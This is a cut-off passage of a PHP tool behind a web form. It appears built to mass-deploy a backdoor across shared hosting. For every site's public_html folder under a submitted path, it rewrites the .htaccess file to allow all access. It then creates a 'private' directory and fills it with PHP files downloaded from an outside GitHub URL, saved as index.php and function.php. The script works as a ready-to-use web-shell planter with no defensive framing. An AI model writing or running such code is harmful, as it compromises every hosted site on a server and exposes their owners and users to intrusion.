"; } // Define the content for the new .htaccess file $htaccessContent = "\n Order allow,deny\n Allow from all\n"; // Write the new .htaccess content to the file file_put_contents($htaccessFilePath, $htaccessContent); echo "Created new .htaccess file at: $htaccessFilePath
"; } // Function to handle files in each /public_html subdirectory under the base path function processSubdirectories($basePath) { // Ensure the base path ends with a trailing slash $basePath = rtrim($basePath, '/') . '/'; // Validate base path if (!is_dir($basePath)) { echo "Invalid path: $basePath
"; return; } // Traverse subdirectories and go into /public_html for each one $subdirectories = glob($basePath . '*', GLOB_ONLYDIR); foreach ($subdirectories as $dir) { $publicHtmlPath = $dir . '/public_html'; // Check if the /public_html directory exists if (!is_dir($publicHtmlPath)) { echo "Skipping: $publicHtmlPath does not exist.
"; continue; } // Step 1: Delete and recreate the .htaccess file in the /public_html directory createHtaccessFile($publicHtmlPath); // Step 2: Create the 'private' directory inside /public_html if it doesn't exist $privateDir = $publicHtmlPath . '/private'; if (!is_dir($privateDir)) { mkdir($privateDir, 0755, true); echo "Created directory: $privateDir
"; } // Step 3: Delete and recreate the .htaccess file inside the 'private' directory createHtaccessFile($privateDir); // Step 4: Download and save nf.php as index.php inside the 'private' directory $indexFilePath = $privateDir . '/index.php'; $nfContent = file_get_contents('https://raw.githubusercontent.com/cpugpu009/nf/refs/heads/main/nf.php'); if ($nfContent === false) { echo "Error: Unable to fetch nf.php content.
"; continue; } file_put_contents($indexFilePath, $nfContent); echo "File uploaded as index.php to: $indexFilePath
"; // Step 5: Download and save function.php inside the 'private' directory $functionFilePath = $privateDir . '/function.php'; $functionContent = file_get_contents('https://raw.githubusercontent.com/cpugpu009/nf/refs/heads/main/function.php'); if ($functionContent === false) { echo "Error: Unable to fetch function.php content.
"; continue; } file_put_contents($functionFilePath, $functionContent); echo "File uploaded as function.php to: $functionFilePath
"; } } // Handle form submission if ($_SERVER['REQUEST_METHOD'] == 'POST') { $basePath = trim($_POST['path']); if (empty($basePath)) { echo "Path is required.
"; } else { // First, create or overwrite the .htaccess in the base path createHtaccessFile($basePath); // Then process each /public_html subdirectory under the base path processSubdirectories($basePath); } } // Display the current path (default to the server's document root if not specified) $currentPath = isset($_POST['path']) ? trim($_POST['path']) : $_SERVER['DOCUMENT_ROOT']; ?> Upload PHP Scripts and .htaccess

Current Path: